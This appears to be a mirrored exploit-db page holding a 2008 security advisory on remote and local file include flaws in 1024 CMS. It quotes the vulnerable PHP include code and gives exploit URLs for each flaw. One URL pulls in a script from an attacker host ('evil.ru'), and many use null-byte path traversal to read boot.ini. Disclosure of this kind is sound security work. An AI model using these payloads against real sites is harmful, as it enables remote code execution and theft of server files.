bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/platforms/php/webapps/6001.txt
Offensive Security 477bcbdcc0 DB: 2016-03-17 
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

336 lines
10 KiB
Text
Executable file
Raw Blame History

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-027
Application: 1024 CMS
Versions Affected: 1.4.3, 1.4.4 RFC
Vendor URL: http://www.1024cms.com/
Bug: Multiple Remote/Local File Include
Exploits: YES
Reported: 18.06.2008
Second report: 27.06.2008
Vendor Response: NONE
Solution: NONE
Date of Public Advisory: 04.07.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
1024 CMS has Remote File Include vulnerability and multiple Local File Include vulnerabilities.
1. Remote/Local File Include vulnerabilities found in scripts:
themes/blog/layouts/standard.php
themes/default/layouts/standard.php
themes/portfolio/layouts/standard.php
themes/snazzy/layouts/standard.php
Code
****
#################################################
<?php include("./themes/".$theme_dir."/layouts/basic_header.php"); ?>
<div class="centerbigtable">
<?php
if(!isset($page_include)) {
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
} else include($page_include);
?>
#################################################
Example:
http://[server]/[installdir]/themes/blog/layouts/standard.php?page_include=http://evil.ru/evil.php
http://[server]/[installdir]/themes/default/layouts/standard.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/standard.php?page=../../../../../../../../../../../../../boot.ini%00
Multiple Local File Include vulnerabilities:
2. Local File Include vulnerability found in script admin/lang/fr/reports/default.php
Code
****
#################################################
if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("../admin/lang/".$lang."/reports/ops/forum.php");
break;
case "download":
include("../admin/lang/".$lang."/reports/ops/download.php");
break;
case "news":
include("../admin/lang/".$lang."/reports/ops/news.php");
break;
}
} else die("You cannot access this page directly");
#################################################
Example:
http://[server]/[installdir]/admin/lang/fr/reports/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00
3. Local File Include vulnerabilities found in scripts:
admin/ops/admins/default.php
admin/ops/reports/ops/download.php
admin/ops/reports/ops/forum.php
admin/ops/reports/ops/news.php
Code
****
#################################################
<?php
include("./themes/".$admin_theme_dir."/templates/default_header.tpl");
...
#################################################
Example:
http://[server]/[installdir]/admin/ops/admins/default.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00
4. Local File Include vulnerabilities found in scripts:
lang/en/moderator/default.php
lang/fr/moderator/default.php
Code
****
#################################################
if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("./lang/".$lang."/moderator/ops/forum.php");
break;
case "download":
include("./lang/".$lang."/moderator/ops/download.php");
break;
case "gallery":
include("./lang/".$lang."/moderator/ops/gallery.php");
break;
case "news":
include("./lang/".$lang."/moderator/ops/news.php");
break;
}
}
#################################################
Example:
http://[server]/[installdir]/lang/en/moderator/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/lang/fr/moderator/default.php?t=download&lang=../../../../../../../../../../../../../boot.ini%00
5. Local File Include vulnerability found in script lang/de/moderator/default.php
Code
****
#################################################
if(isset($_GET['t'])) {
switch($_GET['t']) {
case "forum":
include("./lang/".$lang."/moderator/ops/forum.php");
break;
case "download":
include("./lang/".$lang."/moderator/ops/download.php");
break;
case "news":
include("./lang/".$lang."/moderator/ops/news.php");
break;
}
}
#################################################
Example:
http://[server]/[installdir]/lang/de/moderator/default.php?t=forum&lang=../../../../../../../../../../../../../boot.ini%00
6. Local File Include vulnerabilities found in scripts:
pages/download/default/ops/add.php
pages/download/default/ops/edit.php
Code
****
#################################################
if(isset($_SESSION['type']) && ($_SESSION['type'] == '1' || ($_SESSION['type'] == '2' && trim($canpostdown) == "true") || $_SESSION['type'] == '4')) {
...
} else {
if($canpostdown !== 'true') define("_CONTENT_", _POST_DISABLED_);
else define("_CONTENT_", _POST_LOGIN_);
include("./themes/".$theme_dir."/templates/no_content.tpl");
}
#################################################
Example:
http://[server]/[installdir]/pages/download/default/ops/add.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
7. Local File Include vulnerabilities found in scripts:
pages/download/default/ops/newest.php
pages/download/default/ops/search.php
pages/download/default/ops/top.php
pages/forum/default/content.php
Code
****
#################################################
<?php
include("./themes/".$theme_dir."/templates/default_header.tpl");
...
#################################################
Example:
http://[server]/[installdir]/pages/download/default/ops/newest.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/pages/forum/default/content.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
8. Local File Include vulnerabilities found in scripts:
themes/blog/layouts/basic_footer.php
themes/default/layouts/basic_footer.php
themes/portfolio/layouts/basic_footer.php
themes/snazzy/layouts/basic_footer.php
Code
****
#################################################
...
<?php include("./themes/".$theme_dir."/templates/footer.tpl"); ?>
...
#################################################
Example:
http://[server]/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
9. Local File Include vulnerabilities found in scripts:
themes/blog/layouts/basic_header.php
themes/default/layouts/basic_header.php
themes/portfolio/layouts/basic_header.php
themes/snazzy/layouts/basic_header.php
Code
****
#################################################
...
<?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>
...
#################################################
Example:
http://[server]/[installdir]/themes/default/layouts/basic_header.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
10. Local File Include vulnerabilities found in scripts:
themes/blog/layouts/print.php
themes/default/layouts/print.php
themes/portfolio/layouts/print.php
themes/snazzy/layouts/print.php
Code
****
#################################################
if(!isset($page_include)) {
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
} else include("./themes/".$theme_dir."/templates/".$page_include);
include("./themes/".$theme_dir."/templates/footer.tpl");
#################################################
Example:
http://[server]/[installdir]/themes/blog/layouts/print.php?page=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/default/layouts/print.php?page_include=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/portfolio/layouts/print.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
11. Local File Include vulnerabilities found in scripts:
themes/blog/layouts/total.php
themes/default/layouts/total.php
themes/portfolio/layouts/total.php
themes/snazzy/layouts/total.php
Code
****
#################################################
<td><?php include("./themes/".$theme_dir."/templates/header.tpl"); ?></td>
</tr>
<tr>
<td>
<?php
if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php");
else include("./pages/custom/".$page."/default/content.php");
?>
#################################################
Example:
http://[server]/[installdir]/themes/default/layouts/total.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/total.php?page=../../../../../../../../../../../../../boot.ini%00
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
# milw0rm.com [2008-07-04]
Reference in a new issue View git blame Copy permalink